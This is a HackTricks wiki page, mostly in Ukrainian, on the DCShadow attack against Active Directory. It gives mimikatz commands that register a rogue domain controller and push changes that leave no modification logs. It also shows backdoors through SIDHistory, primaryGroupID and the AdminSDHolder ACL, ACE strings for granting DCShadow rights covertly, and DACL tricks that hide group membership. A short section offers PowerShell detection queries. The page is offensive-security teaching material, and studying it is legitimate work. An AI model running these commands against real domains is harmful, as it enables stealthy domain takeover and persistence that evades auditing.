DCShadow
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Реєструє new Domain Controller в AD і використовує його, щоб push attributes (SIDHistory, SPNs…) на вказаних об’єктах без залишення будь-яких logs щодо modifications. Вам потрібні привілеї DA і потрібно перебувати в root domain.
Зауважте, що якщо ви використаєте неправильні дані, з’являться досить потворні logs.
Для виконання атаки вам потрібні 2 інстанси mimikatz. Один з них запустить RPC servers з привілеями SYSTEM (тут ви маєте вказати зміни, які хочете виконати), а інший інстанс буде використовуватися для push the values:
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
lsadump::dcshadow /push
Зауважте, що elevate::token не працюватиме в сесії mimikatz1, оскільки це підвищувало привілеї потоку, але нам потрібно підвищити привілеї процесу.
Ви також можете вибрати “LDAP” об’єкт: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local
Ви можете запушити зміни з DA або від користувача з такими мінімальними дозволами:
- In the domain object:
- DS-Install-Replica (Додавання/видалення репліки у домені)
- DS-Replication-Manage-Topology (Керування топологією реплікації)
- DS-Replication-Synchronize (Синхронізація реплікації)
- The Sites object (and its children) in the Configuration container:
- CreateChild and DeleteChild
- The object of the computer which is registered as a DC:
- WriteProperty (Not Write)
- The target object:
- WriteProperty (Not Write)
Ви можете використати Set-DCShadowPermissions, щоб надати ці привілеї непривілейованому користувачу (зверніть увагу, що це залишить деякі логи). Це значно більш обмежено, ніж наявність привілеїв DA.
Наприклад: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose Це означає, що ім’я користувача student1, коли увійшло на машину mcorp-student1, має дозволи DCShadow над об’єктом root1user.
Використання DCShadow для створення backdoors
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
Зловживання основною групою, прогалини в перерахуванні та виявлення
primaryGroupIDє окремим атрибутом від спискуmemberгрупи. DCShadow/DSInternals можуть записати його безпосередньо (наприклад, встановитиprimaryGroupID=512для Domain Admins) без контролю з боку LSASS на боксі, але AD все одно переміщує користувача: зміна PGID завжди позбавляє членства в попередній основній групі (така ж поведінка для будь-якої цільової групи), тому ви не можете зберегти старе членство в основній групі.- Стандартні інструменти не дозволяють видалити користувача з його поточної основної групи (
ADUC,Remove-ADGroupMember), тож зміна PGID зазвичай потребує прямих записів у каталозі (DCShadow/Set-ADDBPrimaryGroup). - Інформація про членство непослідовна:
- Включає членів, що походять від основної групи:
Get-ADGroupMember "Domain Admins",net group "Domain Admins", ADUC/Admin Center. - Пропускає членів, що походять від основної групи:
Get-ADGroup "Domain Admins" -Properties member, ADSI Edit при переглядіmember,Get-ADUser <user> -Properties memberOf. - Рекурсивні перевірки можуть пропустити членів основної групи, якщо основна група сама є вкладеною (наприклад, PGID користувача вказує на вкладену групу всередині Domain Admins);
Get-ADGroupMember -Recursiveабо рекурсивні LDAP-фільтри не повернуть цього користувача, якщо рекурсія явно не розв’язує основні групи. - Маніпуляції з DACL: зловмисники можуть заборонити ReadProperty для
primaryGroupIDна об’єкті користувача (або для атрибутуmemberгрупи для груп, що не захищені AdminSDHolder), приховуючи фактичне членство від більшості PowerShell-запитів;net groupвсе одно розв’язує членство. Групи, захищені AdminSDHolder, скинуть такі заборони.
Detection/monitoring examples:
# Find users whose primary group is not the default Domain Users (RID 513)
Get-ADUser -Filter * -Properties primaryGroup,primaryGroupID |
Where-Object { $_.primaryGroupID -ne 513 } |
Select-Object Name,SamAccountName,primaryGroupID,primaryGroup
# Find users where primaryGroupID cannot be read (likely denied via DACL)
Get-ADUser -Filter * -Properties primaryGroupID |
Where-Object { -not $_.primaryGroupID } |
Select-Object Name,SamAccountName
Перевіряйте привілейовані групи, порівнюючи вивід Get-ADGroupMember з Get-ADGroup -Properties member або ADSI Edit, щоб виявити розбіжності, спричинені primaryGroupID або прихованими атрибутами.
Shadowception - Надання дозволів DCShadow за допомогою DCShadow (без записів про змінені дозволи)
Потрібно додати наступні ACE з SID нашого користувача в кінці:
- На об’єкті домену:
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)- На об’єкті комп’ютера атакуючого:
(A;;WP;;;UserSID) - На об’єкті цільового користувача:
(A;;WP;;;UserSID) - На об’єкті Sites у контейнері Configuration:
(A;CI;CCDC;;;UserSID)
Щоб отримати поточний ACE об’єкта: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl
Зверніть увагу, що в цьому випадку потрібно зробити кілька змін, а не одну. Отже, у сесії mimikatz1 (RPC server) використовуйте параметр /stack з кожною зміною, яку хочете зробити. Таким чином вам буде потрібно лише /push один раз, щоб виконати всі накопичені зміни на зловмисному сервері.
More information about DCShadow in ired.team.
References
- TrustedSec - Adventures in Primary Group Behavior, Reporting, and Exploitation
- DCShadow write-up in ired.team
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


